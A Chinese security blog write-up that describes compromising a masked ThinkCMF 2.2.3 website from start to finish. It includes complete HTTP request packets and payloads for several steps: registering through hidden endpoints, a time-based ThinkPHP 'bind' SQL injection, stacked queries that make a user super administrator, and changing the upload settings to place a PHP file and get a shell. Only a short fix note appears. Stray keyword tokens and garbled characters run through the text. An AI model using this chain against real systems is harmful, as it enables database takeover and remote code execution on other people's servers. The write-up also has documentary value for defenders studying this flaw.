0X00 前言php
这个案例是某项目的漏洞,涉及敏感的地方将会打码。html
好久没更新博客了,放一篇上来除除草,新的一年会有所转变,之后会有更多领域的研究。前端
下面是正文linux
0X01 正文web
某厂商某个网站用的是thinkcmf 2.2.3。sql
thinkcmf 2.2.3系统是存在漏洞的,参考先知上喵呜师傅写的一篇文章(https://xz.aliyun.com/t/3529 )thinkphp
文章中提到了三个漏洞,一个注入,两个模板注入写shell。shell
可是系统是部署在linux下面的,模板注入是不行的。数据库
因此文章编辑处的sql注入漏洞是比较好的方法了。后端
可是这里的注入须要登录。
虽然网站默认关闭了注册,登录等前端页面展现。
但其实后端的逻辑是没有关闭的。
因此咱们只要抓到注册,登录的URL就能够注册一个用户,从而利用SQL注入漏洞了。
第一步:注册用户
由于注册用户须要用到验证码,请求验证码的URL为
下面是注册请求包,把验证码放到verify参数里面
POST /index.php?g=user&m=register&a=doregister HTTP/1.1
Host: xx.target.com
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.9
Cookie: _ga=GA1.3.247321242.1547113529; _gid=GA1.3.1692231506.1547113529; Hm_lvt_fd3ebc39e3d20d958cc417964a1a070f=1547114908; GmZMlN_think_language=zh-CN; PHPSESSID=rca5i9uik29o378crgi37c0v61spvn88; _gat=1
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 72
email=r00tuser@email.com&password=xxxxxxx&repassword=xxxxxxx&verify=8486
成功注册了个用户。
第二步:登录
一样登录也须要验证码,一样用上面请求的URL获取一个验证码,填写在verify参数里面
请求包以下:
第三步:注入
由于thinkcmf是用thinkphp 3.2.3的,存在bind 注入,原理就很少解释了,能够参考先知喵呜写的tp安全总结。
请求包以下:
POST /index.php?g=Portal&m=Article&a=edit_post HTTP/1.1
Host: xx.target.com
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.9
Cookie: _ga=GA1.3.247321242.1547113529; _gid=GA1.3.1692231506.1547113529; Hm_lvt_fd3ebc39e3d20d958cc417964a1a070f=1547114908; GmZMlN_think_language=zh-CN; PHPSESSID=rca5i9uik29o378crgi37c0v61spvn88; _gat=1
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 184
post[post_title]=122&post[post_content]=1&term=123&post[post_title]=aaa&post_title=123&post[id][0]=bind&post[id][1]=0 and if(ascii(substr(user(),1,1))=115,benchmark(1000000,sha(1)),1)
因为程序关闭了报错,并且这里是update类型注入,因此这里只能用延时注入。
payload:and if(ascii(substr(user(),1,1))=115,benchmark(1000000,sha(1)),1)
意思为猜想当前数据库用户的首位字符的ascii码。
正常请求,返回时间为64。
当猜想ascii码为116时,返回时间为417。
由于thinkphp 底层用的是pdo所写,因此咱们是能够执行多语句的。
经过一番延时注入猜想到表前缀为xxxx,表结构大多数不会变,因此咱们只要猜想到表前缀便可,经过thinkcmf的源码来注入了。
下面经过注入执行多语句从而将前台用户r00tuse@email.com提高为后台管理员。
首先是注入,设置用户的user_type。
payload:;update `xxxxx_users` set user_type=1 where `user_email`=r00tuse@email.com';
这里还有一步是经过注入获取r00tuser@email.com这个用户的user_id。
payload:and if((select id from xxxx_users where user_email='r00tuser@email.com')=6,benchmark(1000000,sha(1)),1)
用户user_id为6。
接着是修改用户角色为超级管理员。
payload:;INSERT INTO `xxxx_role_user`(`role_id`,`user_id`)values(1,6);
第四步:登录后台,修改上传配置
用户名:r00tuser@email.com 密码:xxxxxxxxxx
打开连接:http://xx.target.com/index.php?g=admin&m=public&a=login
成功登录:
修改上传设置,添加上传文件后缀php
http://xx.target.com/index.php?g=Admin&m=Setting&a=upload
最后一步,找一个能够上传图片的地方,直接把php文件上传便可。
http://xx.target.com/index.php?g=&m=AdminPost&a=add&term=
点击图片,直接选择xx.php 便可。
请求包以下,只是打印Hello,World。
在返回包中获取到php存放地址。
最后访问连接:http://xx.target.com/data//upload//ueditor//20190111//5c3838d372091.php
成功getshell。
修复建议:
1):在底层think_filter方法添加bind过滤。具体为
文件地址:simplewind\Core\Mode\Api\functions.php
0x02 说在最后
pdo让不少注入到getshell成为了可能,从注入到getshell一套下来,整个感觉就一个字,爽!